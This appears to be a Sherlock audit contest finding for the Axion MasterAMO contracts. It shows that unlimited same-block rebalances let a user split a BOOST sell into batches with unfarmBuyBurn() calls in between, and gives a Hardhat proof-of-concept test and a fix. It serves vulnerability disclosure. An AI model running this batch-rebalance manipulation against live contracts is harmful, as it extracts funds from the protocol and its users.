Skip to content

Latest commit

 

History

History
98 lines (74 loc) · 4.39 KB

059.md

File metadata and controls

98 lines (74 loc) · 4.39 KB

Smooth Fossilized Aphid

High

Multiple rebalances per block lead to better swap prices for users and loss of funds for the protocol

Summary

Multiple rebalances within a single block can result in financial losses for the protocol while providing enhanced swap execution for a malicious user. Instead of executing a full token swap in one operation, the attacker can perform the swap in small increments. Between these incremental swaps, the attacker can trigger the protocol's rebalancing functionalities to manipulate pool balances. This entire sequence can be executed atomically within a single transaction.

Root Cause

No checks for a same block rebalance in unfarmBuyBurn() and mintSellFarm() functions. https://github.com/sherlock-audit/2024-10-axion/blob/d75df3636ea28dd627d548d5d473c5d5477b0dc6/liquidity-amo/contracts/MasterAMO.sol#L296 https://github.com/sherlock-audit/2024-10-axion/blob/d75df3636ea28dd627d548d5d473c5d5477b0dc6/liquidity-amo/contracts/MasterAMO.sol#L278

Internal pre-conditions

N/A

External pre-conditions

N/A

Attack Path

Imagine a user wants to sell BOOST tokens to obtain USD. In a liquidity pool where BOOST is valued at around $1, an attacker aims to swap a large amount of BOOST. Instead of performing one large swap, the attacker breaks the transaction into smaller batches and repeatedly calls the unfarmBuyBurn function with each batch. All this done in a single atomic transaction.

Impact

Protocol sell usd in order for the malicious user to get better swap rate.

PoC

it("should verify that batch swapping returns more", async function() {
	// Get pair
    const pairAddress: string = await router.pairFor(usdAddress, boost, true);
    const pair: IPair = (await ethers.getContractAt("contracts/interfaces/v2/IPair.sol:IPair", pairAddress)) as IPair;
    // Get what is the expected amount out of a single swap for 3000000e18 (values are chosen to easly integrate with the existing tests setup)
    const singleSwapAmountOut = await pair.getAmountOut(ethers.parseUnits("3000000", 18), boostAddress);
    const usdBefore = await (await ethers.getContractAt("contracts/mock/MockRouter.sol:IERC20", usdAddress)).balanceOf(user);

	// Instead of doing one single swap, it is splitted into three with a rebalance operation between them
    const boostToBuy = ethers.parseUnits("1000000", 18);
    const routeSellBoost = [{
      from: boostAddress,
      to: usdAddress,
      stable: true
    }];

    await boost.connect(boostMinter).mint(user.address, boostToBuy);
    await boost.connect(user).approve(routerAddress, boostToBuy);
    await router.connect(user).swapExactTokensForTokens(
      boostToBuy,
      0,
      routeSellBoost,
      user.address,
      deadline
    );
    await expect(solidlyV2AMO.connect(user).unfarmBuyBurn()).to.be.emit(solidlyV2AMO, "PublicUnfarmBuyBurnExecuted");

	// Second batch
    await boost.connect(boostMinter).mint(user.address, boostToBuy);
    await boost.connect(user).approve(routerAddress, boostToBuy);
    await router.connect(user).swapExactTokensForTokens(
      boostToBuy,
      0,
      routeSellBoost,
      user.address,
      deadline
    );
    await expect(solidlyV2AMO.connect(user).unfarmBuyBurn()).to.be.emit(solidlyV2AMO, "PublicUnfarmBuyBurnExecuted");

	// Third batch
    await boost.connect(boostMinter).mint(user.address, boostToBuy);
    await boost.connect(user).approve(routerAddress, boostToBuy);
    await router.connect(user).swapExactTokensForTokens(
      boostToBuy,
      0,
      routeSellBoost,
      user.address,
      deadline
    );
    await expect(solidlyV2AMO.connect(user).unfarmBuyBurn()).to.be.emit(solidlyV2AMO, "PublicUnfarmBuyBurnExecuted");

    const usdAfter = await (await ethers.getContractAt("contracts/mock/MockRouter.sol:IERC20", usdAddress)).balanceOf(user);
	// The following log shows the difference between the expected value of single swap and splitted into batches
    console.log((usdAfter - usdBefore as unknown as bigint) - singleSwapAmountOut)
    
  });

log: 27592728720n

The more the number of independent swap, the bigger the difference will be. This difference is indirectly paid by the protocol for providing USD when price is relatively lower between the batches instead of providing it when the user makes the whole swap.

Mitigation

Introduce a mapping from block.timestamp -> has rebalance occured and forbid more than one rebalance for a certain block.timestamp.